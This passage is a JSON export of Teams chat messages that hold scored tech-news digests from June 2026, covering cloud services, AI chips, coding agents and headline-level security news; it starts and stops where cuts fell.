1\u20133 Poor | 4\u20136 Needs Improvement | 7\u20138 Good | 9\u201310 Excellent\",\n>       \"created_at\": \"2026-06-19T11:27:31.23Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868451230?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863296933\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863296933\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863296933?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 10/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Route 53 DNS Firewall integrates Palo Alto threat protection](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-route-53-resolver-dns/)** \u2014 **Score: 31/35.** Route 53 Resolver DNS Firewall can preview Palo Alto Networks threat intelligence, adding another managed control against malicious domains.\\n  2. **[Microsoft fixes failed Windows Server 2016 security updates](https://www.bleepingcomputer.com/news/microsoft/microsoft-fixes-windows-server-2016-security-update-failures/)** \u2014 **Score: 30/35.** Microsoft fixed a problem that caused June security updates to fail on Windows Server 2016 systems that were missing earlier servicing updates.\\n  3. **[Amazon RDS adds Graviton5 M9g database instances](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-rds-postgresql-mysql-mariadb-m9g-instances/)** \u2014 **Score: 30/35.** RDS now offers Graviton5 M9g instances for PostgreSQL, MySQL and MariaDB, claiming up to 30% higher performance and 23% better price-performance.\\n  4. **[CloudWatch centralizes metrics across accounts and regions](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-cross-account-metrics-centralization)** \u2014 **Score: 30/35.** CloudWatch can replicate metrics from multiple accounts and regions into one destination, simplifying enterprise observability and access management.\\n  5. **[AWS expands nested virtualization across Intel instances](https://aws.amazon.com/about-aws/whats-new/2026/06/nested-virtualization-intel-us-gov-cloud/)** \u2014 **Score: 30/35.** AWS expanded nested virtualization to more Intel instance families and GovCloud regions, supporting hypervisor, lab and appliance workloads.\\n  6. **[CloudWatch Query Studio reaches general availability](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-cloudwatch-query-studio-generally-available)** \u2014 **Score: 29/35.** CloudWatch Query Studio provides one interface for querying and visualizing metrics, reducing context switching during operations and incident analysis.\\n  7. **[CNCF program expands Arm64 testing for open-source projects](https://www.cncf.io/blog/2026/06/15/improving-arm64-support-in-cncf-projects-with-oci-credits/)** \u2014 **Score: 29/35.** CNCF is using OCI credits to improve Arm64 build and test coverage as Arm-based instances gain share across major cloud platforms.\\n  8. **[AWS improves EBS rightsizing with spike-aware metrics](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-compute-optimizer-enhances-ebs-recommendations/)** \u2014 **Score: 28/35.** Compute Optimizer now considers IOPS and throughput-exceeded signals when rightsizing EBS volumes, reducing performance risk from hidden spikes.\\n  9. **[Apple patches a high-severity Beats eavesdropping flaw](https://arstechnica.com/apple/2026/06/apple-patches-high-severity-eavesdropping-vulnerability-in-beats-studio-buds/)** \u2014 **Score: 27/35.** Apple patched a high-severity vulnerability affecting Beats Studio Buds that could enable eavesdropping; related hardware from multiple vendors is affected.\\n  10. **[GameLift improves container fleets for game servers](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-gamelift-servers-container-fleet-improvements)** \u2014 **Score: 27/35.** GameLift added container-fleet controls for deployment flexibility and inter-container communication, addressing common game-server operations issues.\",\n>       \"created_at\": \"2026-06-19T10:01:36.933Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863296933?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863295479\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863295479\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863295479?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 9/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AI demand broadens the chip boom across Asia](https://news.google.com/rss/articles/CBMihAFBVV95cUxONURodERCMFljMjMta0c1RFBGOUthaTEzQTZSQnNZLW1fUDA3dnRsQXhXdlpMTElweWZwQnl3MmVEcUNmajhLdHR5endwa3NLcW0ydmJOdThNdmEwOXM1TC1NY2pZTngwUVUxYUNQRU5relZIeTBkQlVpN3FZV2o2SFJvbTA?oc=5)** \u2014 **Score: 31/35.** AI demand is lifting chipmakers across Asia, broadening infrastructure exposure beyond Nvidia and reshaping regional semiconductor supply chains.\\n  2. **[Coherent expands the optical backbone for AI systems in Texas](https://blogs.nvidia.com/blog/coherent-texas-ai-optical/)** \u2014 **Score: 31/35.** Coherent broke ground on a larger Texas facility for lasers and optical components that connect dense AI systems and data-center networks.\\n  3. **[JX Advanced Metals expands optical-wafer capacity for AI data centers](https://news.google.com/rss/articles/CBMivwFBVV95cUxNR3Q0MzVDd1dXVGs4bFI0MGphNGQ2X195TXdzNTYyNG9jbFEwQzFnUklCd2xlQmxwSUFYemlld193Q2pWcW02S3FMV1JHLUQwcUs3dWhkYjFuLS1CVHRzR1R0cTZwUVNTd3QzNHJMY1A3VUdVUDBUd1Rjem9VX2FUNlFTMDVWUXFWaDNvaGJHUFI0cHNBZWNrN1hJUm5obXA5clk2U04xZC1hSE5mcnpPYXkxd0k2VmU4Zmk2d2JrTQ?oc=5)** \u2014 **Score: 31/35.** JX Advanced Metals plans more optical-chip wafer capacity as AI clusters drive demand for high-bandwidth interconnects.\\n  4. **[SK Hynix ships samples of next-generation HBM4E memory](https://news.google.com/rss/articles/CBMiuAFBVV95cUxOOWEzYzZRcVFwWVZqS3JYakY4azZJLVVqenRtSm1mSEs2Rm1zVHNkWUxMS1paWHRmdzFlbVRWZmRwckdRN2JhS2JudnRURTBWWlg2WTFKaUprVnNmb3Fsd0R4bnNCX0F0YzZsTHRTd3pqRnJjV2RNYTZCMDdFNl9NeU9vcTFhS1JTQmFZS2RYbHQtLWlFZjg1TFBkaWVpTFJJUXdrQk9ONFB2dUdhcWVVT2NTTURxdzVY?oc=5)** \u2014 **Score: 30/35.** SK Hynix began shipping HBM4E samples, advancing the high-bandwidth memory supply needed for the next generation of AI accelerators.\\n  5. **[US CHIPS award backs SandboxAQ materials discovery](https://news.google.com/rss/articles/CBMifEFVX3lxTE9NYm5qMGZpTm4zY0J5bU4wYkpvUVJETmZVemllZFpwNi1Wc19ZZ3JEYTB1SlRBUTZpa29mSTFKQzFiUjRYcjJxclN5MlZZZTRVRDh5cFg3NC1kbURFV3AtQ1EzdkRJSjNTcDgtYnAxaDAxMWpmdlhhZGFhYl8?oc=5)** \u2014 **Score: 30/35.** A $500 million CHIPS award will support SandboxAQ\u2019s AI-driven materials work, connecting model-assisted discovery with domestic semiconductor capacity.\\n  6. **[Apple warns device prices will rise with memory costs](https://news.google.com/rss/articles/CBMiWkFVX3lxTFBHMUFiLVBVQVhqRlhQSW5qRFU3aTFTcEt3YXBIaG5vejVBNmlvNVBqc2ZoMHppUEU0Wk1yTllLQl9OSDNTeTZJUlAwU3RHTHpfaWVqUWp4d1dWdw?oc=5)** \u2014 **Score: 29/35.** Tim Cook says Apple device prices will rise as AI demand pushes memory-chip costs higher, showing the AI boom\u2019s spillover into consumer hardware.\\n  7. **[Researchers combine sensing, memory and processing for AI devices](https://news.google.com/rss/articles/CBMi5wJBVV95cUxOV3dLSXhwanhHUjR4UEVfc0tGZnJaMkpXZS04elBiMDhGX19VQ0ViQTJoZWVvNkRaeWRmSTlsa2pMeTVHcDItdWtYaDBMYlJPdWxkTk82TUUxamFzYk1mR21uelNFNk91RjluS3lqeHNkRGpqVlYxTTlxdmtiTnJ6UVpoS2FMUldBS3M3WWZMSDZRRjJDYlFOZzExM1ZBQWlOY1RHNnFtRUxjVVJWbzBVbUdUcHRkSTJxUTFyRWpuT0xGemh4dGxqZk14VldEQWhzeXo1OXQzOTQybk1iS1B0LW50RU9aVjQ4ZXJRdGFFdUdhOUE0UUREOWRMQmVUTjktRDk0Y3U1VDVXenNVOHo2bDRUZnFlc1Z4dTBUenFaMVpyc256a1A2NHEyOGhIRWwyRTBZOXl1QzBubXp1NVpldF9zTllObXdqOUZaTm1KbDBRZGtHTHdOZXlMOWhLc0VVVFBRT0Z4OA?oc=5)** \u2014 **Score: 29/35.** A brain-inspired phototransistor combines light sensing, memory and processing, aiming to reduce data movement and energy use in edge AI sensors.\\n  8. **[AI-assisted process targets next-generation 2D chips](https://news.google.com/rss/articles/CBMiV0FVX3lxTFBvNnBkTTZUVkVHQnpMR0puLW5hM0VpUDZRUklDb2RUNzVxOGxCUzRUQ1FTeGdVZlI3WC03bjZFcVUzY0pabllUaVl5SEpUSlpadFV4dG0zNNIBV0FVX3lxTFBvNnBkTTZUVkVHQnpMR0puLW5hM0VpUDZRUklDb2RUNzVxOGxCUzRUQ1FTeGdVZlI3WC03bjZFcVUzY0pabllUaVl5SEpUSlpadFV4dG0zNA?oc=5)** \u2014 **Score: 29/35.** Korean researchers developed an AI-assisted process for next-generation 2D chips, targeting more efficient materials and fabrication workflows.\\n  9. **[Nvidia says AI infrastructure will expand manufacturing jobs](https://news.google.com/rss/articles/CBMiqAFBVV95cUxNakpBMVhhLVBxTHFXTjFwZGd5b1JDVjFaLUlqZXJmaW5TbC05N0ZuYUI5YjBoX2hlcGVKYURQOENIU25HOHN2T1lZYkxZdm5uN29kcWFmaGxGRkl1cVpJY1FYdXlMdldXSE9GbHJUVHJDUHRXdmlzNjFrbFkyeHBkQmpFUFQ3eElCVW9RMDhISWxtOGlXV3FlOEstR3VEY25iRjVrT29naTjSAa4BQVVfeXFMTXZOSjM2X0VTUVJocmRJWFpFMFZCSjMySFBjZjF3cTFaRTRkSW41cGlJbk90djV5ZFl6Ui1xWXpFOHBCOEIwRWNYQWhTMkJxMGowWElpZkQwZF9VdTVHN3ZxV1d4YkpwWU44b2FuLUxpVlZyejZ3SC1tS2tnZXJUTEEzZko4TEs5cWZwTlpEQWp4d2VhTVowOHZVZTJ6OEZuVTY5SnJhMFQ5TjhyUEt3?oc=5)** \u2014 **Score: 29/35.** Jensen Huang says AI infrastructure will create manufacturing jobs, with new Texas investments providing an early test of that claim.\\n  10. **[Tencent-backed Enflame moves toward an AI-chip IPO](https://news.google.com/rss/articles/CBMitAFBVV95cUxQR29hd1R5b1k3XzZwN084WkEzTXp6LXRkdGJVaWJIREZ1OGg4QW96alh0V0cxUHZ5dEREOEJQTUhBSTk1X2pHTzFjWFpUN0ZadTZ0NVpLOHUzU0tQRk9NMGlVN3JPMFkwTlZEMVJxX2lhWHJFYTlqWnNWSm5xelh6WjZpeWtUblk0a21EUDJBaDgwWFkzcENvalNEMFpQZUJJbnFqWW9tQ0x2LUFoSDdzWVBRNkI?oc=5)** \u2014 **Score: 29/35.** Enflame is heading toward an IPO as Chinese AI-chip companies seek capital to expand domestic accelerator capacity and reduce foreign dependence.\",\n>       \"created_at\": \"2026-06-19T10:01:35.479Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863295479?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863294467\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863294467\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863294467?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 8/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS DevOps Agent adds custom SRE agents and MCP/A2A access](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-devops-agent-custom-agents/)** \u2014 **Score: 33/35.** AWS DevOps Agent now supports custom SRE sub-agents plus headless MCP and A2A access for automating recurring reliability workflows.\\n  2. **[GitHub makes Copilot CLI more selective about delegation](https://github.blog/ai-and-ml/how-we-made-github-copilot-cli-more-selective-about-delegation/)** \u2014 **Score: 32/35.** GitHub changed Copilot CLI orchestration to reduce unnecessary handoffs, aiming for faster task completion without adding user-facing controls.\\n  3. **[Microsoft explains conflicts between coding-agent extensions](https://devblogs.microsoft.com/blog/when-your-agent-extensions-fight-each-other)** \u2014 **Score: 32/35.** Microsoft examines how overlapping agent extensions compete for context and instructions, and how teams can design integrations that cooperate reliably.\\n  4. **[Kimi K2.7-Code targets token-efficient agentic development](https://news.google.com/rss/articles/CBMilAFBVV95cUxOWWJ2UGhCZWVFR2xEc2c4UWxGc3M2bTVKTk4xR0tvQUJwUnJBRmNDR3lEN2lxTVZvakNudjlLOHE5d2hKZXM0OUMtVUZMaW1MSndZbUFSbUVNQVJDSVFQUnFtbzFuRkVYOUFFMmZ6TmdwRjJFN19yQXN5Z2Y0Uk5URi1jU0dsNFRtNDdZV01HbmJnTXVx?oc=5)** \u2014 **Score: 31/35.** Moonshot AI\u2019s Kimi K2.7-Code focuses on token-efficient coding-agent work, adding another option for teams balancing capability, latency and cost.\\n  5. **[Microsoft warns against overloading coding-agent skills](https://devblogs.microsoft.com/blog/stop-overloading-your-skills)** \u2014 **Score: 31/35.** Microsoft argues that oversized agent skills waste tokens and dilute instructions; smaller, task-specific context can improve coding-agent reliability.\\n  6. **[GitHits funds open-source code search for coding agents](https://news.google.com/rss/articles/CBMi2wFBVV95cUxQYmtlYVg2M3FfWUlxV1gtV1p1U3o0dkp5ZmlPOWM3LVl6RU1GdFFKNWMydkxRbkZVS0dscmpLZFRWQm9yYlh0SWdSNy1iUGppM01wMnJZXzJnSzV6WTl2NS1zSnh0WlBMUHNnT0Z1YnBBWTJtYVZuNWF2SFdXNXhSNlVTOWZsV2hZdjM4MkJ5REZyLXZaY3FNU3VnRUdrMGxvQVRQbmZnWjJGYVY2cnVHcFN5alZLZXMxYzI2NEdxMFVEaWJVOEI4VGJHbVpqOS1VbHF2dWFsYmZEWlU?oc=5)** \u2014 **Score: 30/35.** GitHits raised $1.75 million to improve AI coding accuracy through open-source code search, targeting better retrieval and grounding for agents.\\n  7. **[CNCF details dependency lockdown for open-source CI/CD](https://www.cncf.io/blog/2026/06/12/securing-ci-cd-for-an-open-source-project-locking-down-dependencies/)** \u2014 **Score: 30/35.** CNCF\u2019s Cilium team explains how it locks dependencies and reduces supply-chain exposure across a high-volume open-source CI/CD pipeline.\\n  8. **[AWS Glue adds Spark Connect for interactive development](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-glue-interactive-sessions-spark-connect-smus-notebooks)** \u2014 **Score: 29/35.** Glue Interactive Sessions can now use Spark Connect from SageMaker Unified Studio or preferred notebook environments, simplifying remote Spark work.\\n  9. **[EXANTE launches \u20ac1 million fund for critical open source](https://news.google.com/rss/articles/CBMiowFBVV95cUxPQ0JDVE9yd09rejMzUk12UFlRT3FJQU5ZWExiNV9sajNqUTFjTXp1OTJ5cDBhbkYtYVAxbFFQV05BbmZhMHFBM1RsWWxyVEEtZFFTX3QtTTF2WjBRcWFiaENqVXNtT0QxQ20ybVlIQ0RiWC1QM1VGMHZKRndxNjVzMHd5MmRGeFB6NWJXYTFzak9rYTB5enFCQjNBZl9udUluQzhn?oc=5)** \u2014 **Score: 28/35.** EXANTE launched a \u20ac1 million fund for critical open-source infrastructure, adding private financing for maintainers of widely depended-on projects.\\n  10. **[GitHub promotes pull-request limits for maintainer overload](https://github.blog/open-source/maintainers/how-pull-request-limits-are-cutting-down-the-noise/)** \u2014 **Score: 28/35.** GitHub says repository pull-request limits can reduce maintainer noise and contribution overload, with additional controls planned on the roadmap.\",\n>       \"created_at\": \"2026-06-19T10:01:34.467Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863294467?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863293503\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863293503\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863293503?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 7/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS Transform previews automated FSx for ONTAP migration](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-transform-vmware-fsx-for-ontap-preview)** \u2014 **Score: 32/35.** AWS Transform previews migration of block-storage workloads from on-premises or cloud sources to FSx for ONTAP, broadening automated modernization.\\n  2. **[US Homeland Security awards AWS a $2.6 billion cloud contract](https://news.google.com/rss/articles/CBMilAFBVV95cUxPZUgxZ0hrd05pNGxaLVpRdjdFUWtyWXdzdWtWVzZ1NVZOeFNEY05Wa2R2NnphYnR4NGpCLU9HRnJ0cXYycWQtV1JVLUtGYV8xb0Q4X0tLT2VHaXo5ZnNuOFBsSFZ3T0w3cVBQODg5OTF3STI0MUhNeExXcW41VE5RWXVuT0Z6eVFJTjViWlNVSUtabG9q?oc=5)** \u2014 **Score: 31/35.** The US Department of Homeland Security awarded AWS a $2.6 billion cloud contract, a major public-sector adoption and infrastructure commitment.\\n  3. **[AWS Console Private Access works without internet connectivity](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-management-console-private/)** \u2014 **Score: 30/35.** Enterprises can now reach the AWS Management Console from private VPCs without internet access, strengthening administration for isolated environments.\\n  4. **[AWS extends managed MySQL 5.7 support through June 2029](https://aws.amazon.com/about-aws/whats-new/2026/06/rds-mysql-es-extension/)** \u2014 **Score: 29/35.** Aurora and RDS will support MySQL 5.7 through June 2029, giving teams two additional years to plan upgrades from the aging database release.\\n  5. **[Cloud-native and PyTorch conferences unite in China](https://news.google.com/rss/articles/CBMi1gFBVV95cUxOTUF3UFVYQm1ablY2Ny15RWVqN1MzWmV1LVczX3RnYjFoOUE3aTNsZEpydW05R2kxbGFvTndJSHJkX2ZRbXg4SGN1ZFhRS2hvYVVZRW5fMktSZkFyYnpiN04yWXBPYU5OUW9KLW9yLVNPSEdiRjVXXzgtekVUUE1QSEpIcHd6WXRjTUl4NnZNZTNwYkVETGlQeE1va2ZiM25xM01RNkFBQ1JPWGxlaG1vQmN5a0hhY29LSlNxLVVWZVRXc3MxNTZuczZtdGF2V2NDMU1aRGdB0gHWAUFVX3lxTE5NQXdQVVhCbVpuVjY3LXlFZWo3UzNaZXUtVzNfdGdiMWg5QTdpM2xkSnJ1bTlHaTFsYW9Od0lIcmRfZlFteDhIY3VkWFFLaG9hVVlFbl8yS1JmQXJiemI3TjJZcE9hTk5Rb0otb3ItU09IR2JGNVdfOC16RVRQTVBISkhwd3pZdGNNSXg2dk1lM3BiRURMaVB4TW9rZmIzbnEzTVE2QUFDUk9YbGVobW9CY3lrSGFjb0tKU3EtVVZlVFdzczE1Nm5zNm10YXZXY0MxTVpEZ0E?oc=5)** \u2014 **Score: 29/35.** KubeCon, OpenInfra Summit and the PyTorch Conference will unite in China, linking cloud-native infrastructure more directly with production AI stacks.\\n  6. **[NDAA proposal would codify CISA\u2019s vulnerability-program role](https://news.google.com/rss/articles/CBMixwFBVV95cUxQVGRpRzlwaFhhdnNJcnBtREYtUGR2a3ZYUU13bzZFbEJNcWsyakU1M2d6VUZmMkFITV9IMmVNZ0xPdl9hRzVlcFNGRXJyWktsTWJkQ0Z6RWUxc2xfbHRYelZyOEM4X0tWWmtmd09WVVJ5aGxqTzRQTHdpSnAwMHN4UHR5Z2gyb0plRUo5R2JCeUVMc240eG9PbjRFZU1DMURfVjlEcS1MTU1GWFhIRm9wZzg5UHI2aXFpYWVXU0N5UjQ4dGxLMENr?oc=5)** \u2014 **Score: 28/35.** A proposed NDAA amendment would formalize CISA\u2019s role in a federal vulnerability program, potentially strengthening long-term authority and funding.\\n  7. **[Microsoft faces shareholder suit over AI spending and cloud disclosures](https://news.google.com/rss/articles/CBMiqwFBVV95cUxNUmJQUkh0dTUzZ2dITlpFWVp1ZGp4d0t2T3RYNHZMTVVra042ZVNYTk94R1dKdjM2cU0yWTh5cXNCVlVHTkFXRDFiT3ptRnNPeDUteGR1RDV5eWVoS3M4NFJsNDVpcHlVTVluQWViLUI0a29XR0JOaERIUXZnUTJ2V2VXSWs4MFBzMlFUR2NGNHJRcEFjUWptTU84dEZ2UllET0NWX2hsTDgwRDQ?oc=5)** \u2014 **Score: 28/35.** Microsoft shareholders sued over disclosures around AI spending and cloud performance, highlighting governance pressure on hyperscaler investment.\\n  8. **[Alibaba Cloud expands in France amid sovereignty pressure](https://news.google.com/rss/articles/CBMixwFBVV95cUxNRWt4YVIzc3JfTTVSQkc1c1hUQktrNVpxRk9WbDU5cnlwMVVRanZvdlVTaDhPYkJVXzB4bmVGUDFtVE5XaVA3UUQ3dGR1aTJ6bWNHS2NDMXNlYVJBMWFJekc2czNrX25WM2M5Q0pqZG1rSnViQjkwSk5RdEkyX3BlMThPd3AtSW5Cd3BLYmp3SVJSd1dMU1hBVHpQQzBpb3J4M3ctRXlPWGp1dFlpOEJaOG1QdTU3a1NoOWxZTWdmMnEtNmFHUUNR0gHHAUFVX3lxTE1YUHlGUUZZd3BmLXFfVHpWY2ZKZGNPR3Q5MUZuZ09iTU5IZVpack9lN2Fud2FhRUd5WElYc3lUMjJncjlfN0h5eWxjWDhpMHZMbzJyQzlvRm9JTlBaa252dnUwcExlSUwtTHFCUld1M0Q1N3VZc19xYmlLVk9GaWcxb2h1RThBREpvNEMtdHlXb0g5YnVCLS1iRHRHcThyNjdROV9KSEx3VGw1Y2xZX0kySzBJT0RBdi1YQWlNQzNSLVJ1T0o1SEE?oc=5)** \u2014 **Score: 28/35.** Alibaba Cloud is expanding in France as European buyers scrutinize data residency and sovereignty, intensifying competition for regional cloud workloads.\\n  9. **[AWS opens a Local Zone in Hanoi](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-local-zones-hanoi-vietnam/)** \u2014 **Score: 27/35.** AWS opened a Local Zone in Hanoi to reduce latency for Vietnamese workloads and bring compute and storage closer to local users.\\n  10. **[Researchers turn retired smartphones into a mini cloud](https://news.google.com/rss/articles/CBMivwFBVV95cUxPRnE0ZVFnbXFZbnJZSEhVclNQS0RpMFRVQ181Ym05OUhxREM1NGpMY3B0NVozZzd0SGpnTUdHSzRuajBpTUhyeXZSY3NRN09LbFMtWmxJY1VCUkN4Y21tN2VPMUU0WFRuWl81eV9wd2lMcERQVERacEJfUlRFQ1J1b3kxcDA2YVV4a2pjVG9qTGJ3RUszeGxBOVpMNmVrTmExaEJrRURZaWJkV0dqUHBXeWF3RnhIVTc0ZlVnMlpDMA?oc=5)** \u2014 **Score: 24/35.** Researchers combined discarded smartphones into a small cloud-computing platform, exploring lower-cost, reusable edge infrastructure.\",\n>       \"created_at\": \"2026-06-19T10:01:33.503Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863293503?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863292556\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863292556\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863292556?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 6/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Reported Copilot flaw could expose email and 2FA data](https://news.google.com/rss/articles/CBMikgFBVV95cUxNZkR6WGE0R0FBbV9IM2hfZGJxRTJFQ3YzZ19SNVRfRloyTWZ2MzY3QllrRE1Ic1U2TzNGMngxdVRGYUtCd1c2d25QdzFMd21rZWNOMFdkXzAyT0gyR19hQnlST2Nueml5M0xhYlhuNEJaWlVMSmpOazBabFdjb2luTjBtcl9UME9RdkI5OWRFZDMtdw?oc=5)** \u2014 **Score: 34/35.** A reported Copilot flaw could expose sensitive content including email and 2FA codes; teams should review vendor guidance and access boundaries.\\n  2. **[Accenture spends $4.18 billion on industrial cybersecurity expansion](https://news.google.com/rss/articles/CBMimAFBVV95cUxOVHVwZGhCSUFwSGYzZzVxYm42U2tzd3RiWkZzQmVpUktwSXFILWZoSTNyektKRm5KZTlXQmx6ZU5DOW1xMV93emxtZkVPX1VwTFdDM0ZaTGZYT2IybG8zZ2x5dWJzSmhCTjVKbUR0RkViS3VRcmZLUnBaSHVPajdfNTNaOUV5R25aVzhpTWtzX0dmTzBSbXlZWQ?oc=5)** \u2014 **Score: 31/35.** Accenture is spending $4.18 billion on three acquisitions to expand industrial and OT cybersecurity, signaling consolidation around critical-infrastructure defense.\\n  3. **[CISA urges Fortinet hardening after credential exposure reports](https://news.google.com/rss/articles/CBMizgFBVV95cUxPbDFsVnY4dWpHODBDOHRnYm5nVm05OUlNQ2l5UUhzOHN6bjJidUtOQThqSHBBdHZvOVVydFJYeTNjSDcyVzM2SDlIcmw1RVVhQkx3VmVCWnRfVXU4bE1pQVBoMkJtVFNTNXBNMHV2Mkw0UURLM2RFb3dka0VFMmVudU94eFlrdk1oNXF2MlFKZll4OG9pRVRkNEUxTlZfMGpyTW1wTEFCcVRNX3I1MFY3Mmc1RDg0U3B0Zk1hNkkxUjQwc29YOXdnVzNkU245dw?oc=5)** \u2014 **Score: 30/35.** CISA urged organizations to harden Fortinet devices after reports of exposed credentials, putting edge-device access and secret rotation back on the incident list.\\n  4. **[Novo Nordisk breach highlights development-pipeline risk](https://news.google.com/rss/articles/CBMijAFBVV95cUxQRnZnU1VRcnZNMWdxV0p2R2ZUcjdaMDdNSWl4S0J1ZFBuSThIa1B5Sk9Pa1RXLWdsYlZaWTBpWklEbVZXclNzMV9RbHJTWUNubmVpQXI5d0ZkVnpheGFlY2RBMFVuNkp3WnY2LWtvTV9ITHVfYlZkQXBoXzB0elJ4ekppU0swUzh1ZHlsSg?oc=5)** \u2014 **Score: 30/35.** The Novo Nordisk incident shows how a breach can reach software-development pipelines, where code, build secrets and deployment systems amplify risk.\\n  5. **[White House tightens cybersecurity direction for national-security systems](https://news.google.com/rss/articles/CBMiigFBVV95cUxOMHhDeGpmTDNNWTFCUUp6emRJZmhBdWVrMkQyY3BUM0tSeXpsdlZfa2J0VmlHaEVXdFNDRmFic3BJem5VS1lESnpBRnQ4bllHNWxVbFE4RXFvVG9ZTEN3aGNPTkdLdVJBTDkzcVdfMlhxZ0stQmVaRVJZWlRLSlJtX0FZWjZ6UTl4bkHSAY8BQVVfeXFMT0YyZk5NVW9IUV9YZ0xhSGtTQzAtaHdwVG9rb3dhQ01RM255VUVucXRnYnFyMVBYWGRWUlU4eFhUYlRfREVGeXZqb3pLZ0FvNGw0by1hNEFSWlNZeEV5VjdYd0lNd0hjX1FUWXpVdVZld2JMOEt5aUlQY2ZITGs5X242Q2ptbENWcmt5RHV0eU0?oc=5)** \u2014 **Score: 29/35.** A new White House memo sets tighter cybersecurity direction for national security systems, with implications for federal suppliers and sensitive workloads.\\n  6. **[Law enforcement 